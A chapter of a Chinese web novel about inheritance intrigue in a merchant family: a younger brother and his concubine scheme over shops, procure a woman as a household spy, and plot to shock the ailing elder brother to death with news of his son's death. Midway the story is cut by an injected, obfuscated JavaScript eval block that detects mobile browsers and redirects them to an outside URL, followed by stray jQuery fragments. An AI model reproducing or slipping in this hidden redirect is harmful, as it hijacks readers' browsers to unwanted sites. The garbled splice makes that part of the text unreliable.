“云娘，你怎么现在才回来？”
祈桓正立在书房内，背着手不知在思考什么，辛云娘换了华丽的衣裙钗环，手中提着食盒，敲了敲祈桓的门。
“桓郎说什么呢，奴家早就回来了。”
辛云娘扭着水蛇腰肢，将食盒轻轻搁在案几上：
“奴家不过是惦记着桓郎喜欢李记的古楼子，专程去给桓郎买了些回来。桓郎也知道，李记的古楼子做得最好，那羊肉牛肉可新鲜着呢，奴家可是等了好久，才买回这些新鲜出炉的。可谁知道啊，金柳告诉奴家，你今晚去了大娘子那里用饭，奴家只得亲自又热热，直到大娘子肯放你了，我才敢拿来给你呢……可谁叫桓郎你，对奴家说话如此生硬。”
辛云娘说着，语气里有些娇柔的醋意。
祈桓见辛云娘生了小脾气，忙笑盈盈地走过去，将辛云娘搂在怀里。
“好了好了……我语气是重了些，你可别气了，当心气坏了身子。”
辛云娘转过身，往祈桓胸前轻捶了一下，香帕拂过祈桓的脸。
“奴家哪敢生你的气啊。哼……奴家平日里在这院儿里关着，哪里也去不了，好不容易出去一趟，还想着给你捎些喜欢的吃食，可你却是个负心的。”
祈桓呵呵笑着，紧搂住辛云娘，在她耳边说道：“那……今晚郎君好好疼疼你。”
“……桓郎讨厌，净说些害羞话，叫下人听了多不好。”
两人在书房里你侬我侬、打情骂俏，辛云娘的笑声放肆地飞了出去。有了辛云娘，祈桓的心情似乎也舒展了许多，今日覃掌柜来递消息，说祈铄派了小娘子去查账，令他的神经顿时紧绷起来。
他担心，祈铄的身体已然恢复，要开始查问生意上的事。
想到这，祈桓忽然正经起来，问怀里的辛云娘：“今天你出去，是不是碰着大房家的人了？”
辛云娘点点头：“那个扈掌柜，今日不知怎么了，突然来了铺子里。不过桓郎你放心，奴家没让他瞧见，从后门儿走了。”
祈桓说：“以后要提高警惕，东市口那边，就先别去了。”
“为什么？”
“今天覃掌柜派人来，说大房要把东市口的三间铺子，交给那个刚进门的小娘子练练手。我担心，我大哥可能已经发现了什么。”
辛云娘心中直叫“可惜”，那东市口的覃掌柜是个识趣的，这边打哈欠那边送枕头，可给了她不少好处。不过她转念又一想，今天刚收了二十两银子，过段时日再去也使得。
辛云娘娇笑起来，靠进祈桓的胸膛里说道：
“奴家都听桓郎的，桓郎不要奴家去，奴家便不去。”
“好，好……真是我的心肝肉疙瘩。”
祈桓最喜欢辛云娘听话又温柔，当个宝贝似的搂在怀里亲，恨不得在书房就把事儿办了。
可他想到待会儿四弟还要来，只得依依不舍地推开辛云娘：
“还是让我吃口古楼子吧，云娘你好不容易替我买来，这份心意，我记在心里了。放心吧云娘，只要有我在一天，你和崇儿我都当宝贝似的，绝不叫你们受一点委屈。”
辛云娘笑得似朵花儿，伺候祈桓吃起了饼。
刚吃一口，祈桓又想起问辛云娘：“对了，我叫你找的人，可有合适的人选了？”
“已经找着了。”辛云娘说道，“她原是胭脂阁的，不知做了什么惹恼了霸爷，将她发卖出来。她原是良民卖唱的，走投无路才卖给了霸爷，长得还算不错，也有些手段，就是……就是这身子早破了。”
祈桓嚼着饼说：“无妨，哪怕送过去了，她是我们的人，恐怕那边也得防着。本就是个贱妾，不过是个玩物，破了身，让她想想法子就行——我知道她们那种人，手段多得是。”
听祈桓如此说，辛云娘酸道：“是啊……不过是个玩物罢了。”
“哎，你与她怎可相比较？”祈桓忙安慰道，“我可把你当宝贝，这还不够啊？”
“哼，桓郎知道奴家与那种人不同就好。”
“知道知道当然知道。”祈桓安慰好辛云娘，才问道，“她现在在哪？”
辛云娘说：“只让她在外面做做扫洒——桓郎放心，奴家都吩咐过了，不叫她糙了手。”
祈桓点点头，一碗古楼子也很快被喂完了。他拾起帕子擦擦嘴，对辛云娘说：“我叫了老四过来，你就先回房等我，这里的事儿处理好了我便去——好好准备准备，今晚，郎君定不叫你睡觉。”
辛云娘娇笑着轻推他一把，收拾好食盒离开了书房。
辛云娘走后，祈桓命丫鬟收拾好书房，如今心情爽利了，他又兢兢业业地翻看起账本来。丫鬟前脚刚收拾好，祈炜后脚就进了书房，叫了声“二哥”，便神色复杂地坐下来。
祈桓一眼就看穿了他：“怎么了，是不是军营那边得不到消息？”
祈炜抬眼看了看祈桓，又叹了口气垂下头去。
“怎么，不是？”
“唉！”祈炜似乎终于鼓起勇气，说道，“我这……我不知该怎么和你说！”
祈桓瞪大双眼，禁不住站起身来绕到他面前：“我那大侄子还活着？”
祈炜不敢看祈桓，转过脸去摇摇头。
“什么……他战死了？你确定吗？”
祈炜还是摇头。
这下祈桓看不明白了：“你倒是说啊！这人要么死了要么活着，你这死也摇头活也摇头，到底是什么意思？怎么，他是受了重伤，半死不活吗？”
祈炜一时语塞，自己也不知道该从何说起。
祈桓就站在他面前，像座大山。祈炜和祈桓是一娘所出，可他这胞哥从小就处处比他强，自己又愚笨，什么事都做不好，他对祈桓既是敬，也是怕。
终归是要说的。祈炜叫二哥先坐下喝口茶，他肚子里组织了会儿语言，才说道：
“一开始那人说……说祈楚在和卡十一战中战死了，他怕空口无凭，还将战死士兵的名单抄了份出来，说遗物和抚恤金都送全部送到了。”
祈炜说到这，将那份名单从袖口里抽出来，递给祈桓。
祈桓见名单上有名有姓有籍贯，生卒年也记录得详细，顿时激动起来。
祈炜接着说：“这名单交到我手上后，我本打算立马来找你，可有些事儿绊住了……等我处理完事儿打算过来，那人竟然又找到我，说……说……”
“到底说什么了！”
“说北固军全体班师回国，他又打听到祈楚根本没有死……不仅没死，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527198|203563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卡十一战，祈楚和几个大头兵，还立了大功。秦起大将军知道后，亲自接见了他们……那人说，此事军营里的士兵都知道，人人都听说过我那侄儿的大名……”
“一说他战死了，一说他立了功……那我们就根本无从知道，祈楚究竟是死是活。”
祈桓沉吟起来，捏着那份名单，重重地坐回书案后。
祈炜为难地说：“所以啊，你说这……这我怎么和你说嘛！”
“不过，好歹我们确定，祈楚根本不在家中养病。”祈桓冷静下来，盯着书桌上攒动的烛火，缓缓说道，“我那大嫂子，定是收到了军营传来的死讯，为了稳住大房，才来了冥婚这一出……果然，果然……”
祈桓早就猜测过这个可能，只不过苦于没有证据。
而如今，这份证据，就捏在他手中。
祈炜却想不明白：“可……祈楚也有可能根本没死啊。”
“有什么关系么？”祈桓冷冷一笑，“要么，他现在还在军营，要么……”
祈桓心说——要么祈楚，已经回来了。不仅回来了，还以假死作为掩护，打算暗中调查自己的所作所为，想替祈铄拿回他家的产业。只是这个猜想，他并未对祈炜和盘托出。
“要么什么？”祈炜忙问。
“要么，祈楚立功的事，就只是谣传罢了。”
祈桓虽嘴上这么说，可他心里却亮如明镜。
将军百战死，壮士十年归。
祈楚一个大头兵，军营里竟然尽人皆知，本就是十分反常。
况且，假设祈楚立了大功，秦起大将军还亲自召见他，理应有所封赏，怎么……也得封个尉官。可如今北固军班师回朝，就驻扎在平凉城以北，却没有任何消息传来，打探消息的人也没有提起祈楚得了任何封赏。
祈桓盯着攒动的烛火，暗自揣度起来。
不久前，祈铄鼓动商会去给北固军运送物资，没想到遇到卡十的精兵，中了流箭险些丢了性命——他可是说过，当时正是祈楚救了他。祈楚是知道父亲中了箭伤势严重，他作为独子，怎可置之不顾？
因此祈桓猜测——祈楚定是因着立了功，请求卸甲回家，而秦起大将军素来爱兵如子，此时北方已定，便同意他免了兵役。
“哦……”祈炜却想不到那般深入，只似懂非懂地点点头说，“可……这些都只是猜测，祈楚究竟是死是活，不还是没有定论吗？”
“但这名单，却是真的。”祈桓说，“今日这小娘子出现，要接手祈家的产业，便足以说明祈家后继无人，才无奈要一介女流出面掌事。”
祈炜激动起来：“这么说，祈楚是真死在战场上了？”
祈桓说：“唉……大哥从小患有心疾，体弱，也受不得刺激。如今又当胸口中了一箭，更是雪上加霜——你说，若是大哥知道唯一的儿子死了，会怎样？”
“那定是急火攻心，说不定就……”
祈炜突然愣住了。
“二哥，你是想？……”
祈桓将那名单折了折，放进身后的锦盒里。
他眼中闪过一丝寒光：“沈氏千般理由，不让我们见大哥，所以我们要想个法子，要大哥出面才行……如今只需破斧沉舟，不是你死，就是我亡。”